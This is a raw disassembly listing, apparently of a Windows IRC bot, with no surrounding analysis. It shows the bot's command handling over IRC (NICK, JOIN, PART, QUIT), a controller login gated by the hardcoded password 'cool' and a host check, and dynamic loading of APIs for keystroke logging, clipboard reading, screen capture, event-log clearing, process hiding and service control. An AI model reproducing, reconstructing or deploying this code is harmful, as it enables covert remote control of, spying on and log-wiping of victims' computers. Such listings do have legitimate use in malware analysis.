lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+Dst]
push offset asc_429E8C ; "-"
push eax ; Dest
call _sprintf
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60 ; inet_ntoa
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh ; Count
push edi ; Source
push [ebp+arg_14] ; Dest
call _strncpy
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409644
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409644
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_401F75
push edi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax] ; int
call sub_409823
pop ecx
pop ecx
push 1F4h
call ds:dword_427080 ; Sleep
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+var_10]
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E924[eax]
call ds:dword_4270B4 ; TerminateThread
push edi ; Str
call _atoi
imul eax, 234h
push edi ; Str
mov dword_43E924[eax], ebx
call _atoi
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi ; Str2
push offset aAll ; "all"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+File], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+File]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi ; Str
call _atoi
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset asc_429D34 ; "-"
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+Dst]
push eax
call sub_415D38
add [ebp+File], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi ; Args
push offset aS ; "%s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+Format]
push edi ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409823
pop ecx
lea eax, [ebp+Dst]
pop ecx
push edi
push offset unk_429C98 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415D38
push edi ; Str
call _atoi
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call ds:dword_427080 ; Sleep
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409823
pop ecx
lea eax, [ebp+Dst]
pop ecx
push edi
push offset unk_429C70 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415D38
push edi ; Str
call _atoi
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push dword ptr [ebp+esi+Args] ; Str1
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax ; int
lea eax, [ebp+Str1]
push dword_42909C ; int
push eax ; Dest
call sub_40AE84
add esp, 10h
lea eax, [ebp+Str1]
push eax ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
lea eax, [ebp+Str1]
push eax ; Args
push offset unk_429C4C ; Format
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+File]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset Delim ; "!"
push [ebp+var_90] ; Str
call _strtok
mov esi, eax
push offset word_4CB88C ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_429C48 ; "~"
push eax ; Str
call _strtok
push [ebp+arg_20] ; Str2
mov edi, eax
push offset aCool ; "cool"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+File], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+File]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+File], 4
cmp [ebp+File], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20] ; Str2
push offset aCool ; "cool"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh ; Count
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx ; int
push [ebp+var_4] ; int
push offset unk_429B54 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax ; Args
push offset unk_429B34 ; Format
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+Source] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+Source] ; Args
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409823(int,char *Format,char Args)
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409869(int,char *Str,int,int,int)
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_6 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+Dest]
push [ebp+Str]
push edi
push offset aSSS_1 ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409907
push 7D0h
call ds:dword_427080 ; Sleep
locret_409907: ; CODE XREF: sub_409869+91j
leave
retn
sub_409869 endp
; =============== S U B R O U T I N E =======================================
sub_409909 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp
push ebx
push ebp
mov ebp, ds:dword_4270A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4270C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A29
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CBA80, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB9F4, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB9D8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB8E8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB894, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB8C4, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB93C, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CBA34, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CBA90, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB8F4, eax
call esi ; GetProcAddress
cmp dword_4CBA80, ebx
mov dword_4CB8DC, eax
jz short loc_409A07
cmp dword_4CB9F4, ebx
jz short loc_409A07
cmp dword_4CB9D8, ebx
jz short loc_409A07
cmp dword_4CB8E8, ebx
jz short loc_409A07
cmp dword_4CB8C4, ebx
jz short loc_409A07
cmp dword_4CB93C, ebx
jz short loc_409A07
cmp dword_4CBA34, ebx
jz short loc_409A07
cmp dword_4CBA90, ebx
jz short loc_409A07
cmp dword_4CB8F4, ebx
jz short loc_409A07
cmp eax, ebx
jnz short loc_409A11
loc_409A07: ; CODE XREF: sub_409909+B8j
; sub_409909+C0j ...
mov dword_4CBA94, 1
loc_409A11: ; CODE XREF: sub_409909+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CBA0C, eax
jz short loc_409A3E
push 1
push ebx
call eax
jmp short loc_409A3E
; ---------------------------------------------------------------------------
loc_409A29: ; CODE XREF: sub_409909+1Dj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBA98, eax
mov dword_4CBA94, 1
loc_409A3E: ; CODE XREF: sub_409909+117j
; sub_409909+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409B53
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CBA30, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB9E0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB974, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CBA84, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB9A4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB9C4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CBA28, eax
call esi ; GetProcAddress
cmp dword_4CBA30, ebx
mov dword_4CB914, eax
jz short loc_409AF7
cmp dword_4CB9E0, ebx
jz short loc_409AF7
cmp dword_4CB974, ebx
jz short loc_409AF7
cmp dword_4CBA84, ebx
jz short loc_409AF7
cmp dword_4CB9A4, ebx
jz short loc_409AF7
cmp dword_4CB9C4, ebx
jz short loc_409AF7
cmp dword_4CBA28, ebx
jz short loc_409AF7
cmp eax, ebx
jnz short loc_409B01
loc_409AF7: ; CODE XREF: sub_409909+1B8j
; sub_409909+1C0j ...
mov dword_4CBA9C, 1
loc_409B01: ; CODE XREF: sub_409909+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB9A0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB8A8, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB970, eax
call esi ; GetProcAddress
cmp dword_4CB9A0, ebx
mov dword_4CB958, eax
jz short loc_409B5E
cmp dword_4CB8A8, ebx
jz short loc_409B5E
cmp dword_4CB970, ebx
jz short loc_409B5E
cmp eax, ebx
jnz short loc_409B68
jmp short loc_409B5E
; ---------------------------------------------------------------------------
loc_409B53: ; CODE XREF: sub_409909+144j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA0, eax
loc_409B5E: ; CODE XREF: sub_409909+232j
; sub_409909+23Aj ...
mov dword_4CBA9C, 1
loc_409B68: ; CODE XREF: sub_409909+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409D21
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CBA44, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB988, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB9F8, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB8D4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB938, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB9B0, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB954, eax
call esi ; GetProcAddress
cmp dword_4CBA44, ebx
mov dword_4CB964, eax
jz short loc_409C11
cmp dword_4CB988, ebx
jz short loc_409C11
cmp dword_4CB9F8, ebx
jz short loc_409C11
cmp dword_4CB8D4, ebx
jz short loc_409C11
cmp dword_4CB938, ebx
jz short loc_409C11
cmp dword_4CB9B0, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409909+2DEj
; sub_409909+2E6j ...
mov dword_4CBAA4, 1
loc_409C1B: ; CODE XREF: sub_409909+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB9B8, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB990, eax
call esi ; GetProcAddress
cmp dword_4CB9B8, ebx
mov dword_4CBA40, eax
jz short loc_409C56
cmp dword_4CB990, ebx
jz short loc_409C56
cmp eax, ebx
jnz short loc_409C60
loc_409C56: ; CODE XREF: sub_409909+33Fj
; sub_409909+347j
mov dword_4CBAA4, 1
loc_409C60: ; CODE XREF: sub_409909+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB9C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB8B0, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB8B8, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB91C, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB920, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB8CC, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB994, eax
call esi ; GetProcAddress
cmp dword_4CB9C8, ebx
mov dword_4CB8BC, eax
jz short loc_409D04
cmp dword_4CB8B0, ebx
jz short loc_409D04
cmp dword_4CB8B8, ebx
jz short loc_409D04
cmp dword_4CB91C, ebx
jz short loc_409D04
cmp dword_4CB920, ebx
jz short loc_409D04
cmp dword_4CB8CC, ebx
jz short loc_409D04
cmp dword_4CB994, ebx
jz short loc_409D04
cmp eax, ebx
jnz short loc_409D0E
loc_409D04: ; CODE XREF: sub_409909+3C5j
; sub_409909+3CDj ...
mov dword_4CBAA4, 1
loc_409D0E: ; CODE XREF: sub_409909+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB8B4, eax
jnz short loc_409D36
jmp short loc_409D2C
; ---------------------------------------------------------------------------
loc_409D21: ; CODE XREF: sub_409909+26Aj
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAA8, eax
loc_409D2C: ; CODE XREF: sub_409909+416j
mov dword_4CBAA4, 1
loc_409D36: ; CODE XREF: sub_409909+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E02
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB9C0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CBA18, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CBA20, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB9DC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB8F8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB8A4, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CBA1C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB890, eax
call esi ; GetProcAddress
cmp dword_4CB9C0, ebx
mov dword_4CB930, eax
jz short loc_409E0D
cmp dword_4CBA18, ebx
jz short loc_409E0D
cmp dword_4CBA20, ebx
jz short loc_409E0D
cmp dword_4CB9DC, ebx
jz short loc_409E0D
cmp dword_4CB8F8, ebx
jz short loc_409E0D
cmp dword_4CB8A4, ebx
jz short loc_409E0D
cmp dword_4CBA1C, ebx
jz short loc_409E0D
cmp dword_4CB890, ebx
jz short loc_409E0D
cmp eax, ebx
jnz short loc_409E17
jmp short loc_409E0D
; ---------------------------------------------------------------------------
loc_409E02: ; CODE XREF: sub_409909+438j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAB0, eax
loc_409E0D: ; CODE XREF: sub_409909+4B9j
; sub_409909+4C1j ...
mov dword_4CBAAC, 1
loc_409E17: ; CODE XREF: sub_409909+4F5j
mov ebp, ds:dword_4270C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A0D3
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB944, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CBA78, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB8E4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB8C0, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB980, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB968, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CB92C, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CBA54, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CBA70, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB97C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CBA60, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CBA14, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CB9D4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB9D0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB904, eax
call esi ; GetProcAddress
push offset aSend_0 ; "send"
push edi
mov dword_4CB8FC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CBA24, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CBA38, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB9EC, eax
call esi ; GetProcAddress
mov dword_4CB9AC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CBA00, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CB9BC, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CB9FC, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CBA68, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB9B4, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB978, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB9E8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CBA58, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB98C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB928, eax
call esi ; GetProcAddress
cmp dword_4CB944, ebx
mov dword_4CBA6C, eax
jz loc_40A0DE
cmp dword_4CBA78, ebx
jz loc_40A0DE
cmp dword_4CB8E4, ebx
jz loc_40A0DE
cmp dword_4CB980, ebx
jz loc_40A0DE
cmp dword_4CB968, ebx
jz loc_40A0DE
cmp dword_4CB92C, ebx
jz loc_40A0DE
cmp dword_4CBA54, ebx
jz loc_40A0DE
cmp dword_4CBA70, ebx
jz loc_40A0DE
cmp dword_4CB97C, ebx
jz loc_40A0DE
